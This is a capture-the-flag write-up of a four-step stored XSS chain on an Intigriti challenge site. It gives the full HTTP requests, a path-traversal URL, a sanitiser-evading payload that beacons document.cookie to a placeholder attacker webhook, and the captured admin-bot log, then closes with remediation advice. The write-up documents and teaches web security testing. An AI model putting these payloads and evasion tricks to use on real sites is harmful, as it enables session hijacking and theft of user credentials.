A stored XSS vulnerability on challenge-0426.intigriti.io chains four individually low-risk trust-boundary violations into full session hijack — exfiltrating the admin bot's cookie with a single click, bypassing DOMPurify, a postSanitize regex filter, an Array.isArray widget gate, and session-scoped preference isolation simultaneously.
readerPresets manifest is resolved from the note author's account regardless of the visitor's session. Every user — including the admin bot — who visits the crafted URL receives and executes the attacker's stored profile. No attacker involvement required after setup.
/api/report. The admin bot visits it and the full chain fires automatically.
Four boundaries are violated in sequence — each one enabling the next:
| Boundary | Violation |
|---|---|
| User input → stored preferences | POST /api/account/preferences accepts and persists arbitrary undocumented fields. Attacker stores a fully-controlled readerPresets profile server-side. |
| Stored preferences → server response | The reader-preset manifest endpoint resolves data from the note author's account, not the requesting session. Any visitor's browser receives the attacker's profile. |
| Server response → client execution | %2F-encoded slashes in the panel URL bypass server-side path normalisation. The decoded value is injected into __APP_INIT__, causing the client to fetch the attacker's manifest via path traversal. |
| Client execution → script injection | renderMode=full forces DOMPurify to preserve data-* attributes. The postSanitize regex is evaded by splitting document and cookie via JS concatenation. loadCustomWidget injects the value as a <script> tag. |
The settings UI exposes only theme, fontSize, language, and defaultLayout. However, POST /api/account/preferences accepts and persists any extra fields without schema validation. Submitting as the attacker:
POST /api/account/preferences HTTP/1.1 Host: challenge-0426.intigriti.io Content-Type: application/json { "readerPresets": { "attack": { "profile": { "widgetTypes": ["custom"], "renderMode": "full", "widgetSink": "script" } } } }
Verify persistence: GET /api/account/preferences → preferences.readerPresets.attack.profile is present.
The reader-preset manifest endpoint resolves readerPresets from the note author's account — not the requesting session. Fetching without any session cookie still returns the attacker's stored profile:
GET /api/account/preferences/reader-presets/attack/manifest.json?note=NOTEID HTTP/1.1 Host: challenge-0426.intigriti.io (no session cookie) Response: { "profile": { "widgetTypes": ["custom"], "renderMode": "full", "widgetSink": "script" } }
This crosses the session trust boundary: any browser — including the admin bot's — receives and applies the attacker's profile.
%2F Encoding — Bypassing Server-Side Normalisation
The exploit URL uses percent-encoded slashes in the panel segment:
https://challenge-0426.intigriti.io/note/NOTEID/..%2F..%2Fapi%2Faccount%2Fpreferences%2Freader-presets%2Fattack
%2F prevents the router from normalising .. sequences — the URL is routed as a valid note panel page. The server percent-decodes the panel segment and injects it into __APP_INIT__:
window.__APP_INIT__ = {
"panel": "../../api/account/preferences/reader-presets/attack",
"noteId": "NOTEID",
"theme": "dark"
};
Client-side, loadPanelManifest uses the panel string verbatim in a fetch. The browser normalises the ../ sequences:
/note/NOTEID/../../api/account/preferences/reader-presets/attack/manifest.json?note=NOTEID → /api/account/preferences/reader-presets/attack/manifest.json?note=NOTEID
The manifest returns the attacker's stored profile. applyRemoteProfile runs:
// Array.isArray(['custom']) === true — satisfies the getOwnArray guard APP.widgetTypes = ['custom']; APP.renderMode = 'full'; APP.widgetSink = 'script';
data-cfg
The malicious note payload uses split string concatenation to evade the postSanitize regex, which matches against UNSAFE_CONTENT_RE = /script|cookie|document|.../i on the raw attribute string:
<div id="enhance-config" data-types="custom"></div> <div data-enhance="custom" data-cfg="navigator.sendBeacon('https://ATTACKER_WEBHOOK',this['doc'+'ument']['coo'+'kie'])"></div>
'doc'+'ument' and 'coo'+'kie' are runtime concatenations. Neither split form matches the regex, so the data-cfg attribute survives. With renderMode=full, getSanitizeConfig sets ALLOW_DATA_ATTR: true — DOMPurify preserves data-cfg untouched. loadCustomWidget then executes:
var s = document.createElement('script'); s.textContent = cfg; // navigator.sendBeacon('https://ATTACKER_WEBHOOK', document.cookie) document.head.appendChild(s);
readerPresets to /api/account/preferencesdata-cfg payload (split-string beacon)/note/NOTEID/..%2F..%2Fapi%2F.../attack/api/report — admin bot visits__APP_INIT__loadPanelManifest fetches /api/.../attack/manifest.json (no session check)applyRemoteProfile sets widgetTypes=['custom'], renderMode='full', widgetSink='script'getSanitizeConfig sets ALLOW_DATA_ATTR: true — DOMPurify preserves data-cfgpostSanitize regex passes — split strings evade detectionloadCustomWidget injects <script> → beacon fires with admin cookie + flag
POST /api/account/preferences HTTP/1.1 Host: challenge-0426.intigriti.io Content-Type: application/json { "readerPresets": { "attack": { "profile": { "widgetTypes": ["custom"], "renderMode": "full", "widgetSink": "script" } } } }
POST /api/notes HTTP/1.1 Host: challenge-0426.intigriti.io Content-Type: application/json { "title": "notes", "content": "<div id=\"enhance-config\" data-types=\"custom\"></div><div data-enhance=\"custom\" data-cfg=\"navigator.sendBeacon('https://ATTACKER_WEBHOOK',this['doc'+'ument']['coo'+'kie'])\"></div>" }
Response returns NOTEID.
GET /api/account/preferences/reader-presets/attack/manifest.json?note=NOTEID (no session cookie) → Returns attacker's profile: widgetTypes, renderMode, widgetSink
https://challenge-0426.intigriti.io/note/NOTEID/..%2F..%2Fapi%2Faccount%2Fpreferences%2Freader-presets%2Fattack
On the exploit note page, click "Request review". The admin bot visits the URL — the full chain fires and both the flag cookie and session token are exfiltrated to the attacker's webhook.
The admin bot (HeadlessChrome/147.0.0.0 from Belgium, IP 34.140.37.218) sent a beacon to the attacker-controlled webhook:
IP: 34.140.37.218 (Brussels, Belgium — Google Cloud) User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/147.0.0.0 Safari/537.36 Method: POST Origin: http://127.0.0.1:3000 Body: flag=INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}; northstar_profile=5a93e39f174512e184e34b8dc4c07e7a
| Field | Value |
|---|---|
| User-Agent | HeadlessChrome/147.0.0.0 |
| Source IP | 34.140.37.218 (Brussels, Belgium) |
| Origin | http://127.0.0.1:3000 |
| Flag captured | INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284} |
| Session token captured | northstar_profile=5a93e39f174512e184e34b8dc4c07e7a |
postSanitize regex, Array.isArray widget gate, session-scoped preferencesThis is a compound vulnerability where individually low-risk features — a permissive preference API, an author-scoped manifest endpoint, a path-normalisation gap, and a regex-based sanitiser — chain into full session hijack. No single fix addresses the issue; the security model fails because each layer trusts the others.
| Root Cause | Fix |
|---|---|
POST /api/account/preferences persists arbitrary fields |
Strict allowlist on preference input — reject any key outside the defined schema |
| Reader-preset manifest resolved from note author's account | Session-scope the manifest — resolve readerPresets from the requesting session, never the note author's |
Panel segment injected into __APP_INIT__ without server-side validation |
Percent-decode the panel segment server-side, then reject any value not in an explicit allowlist (e.g. {summary, print, compact}) |
postSanitize uses regex on raw attribute strings |
Replace with AST-based validation — strip data-cfg unconditionally, or validate against a strict structural allowlist; regex cannot evaluate split or obfuscated expressions |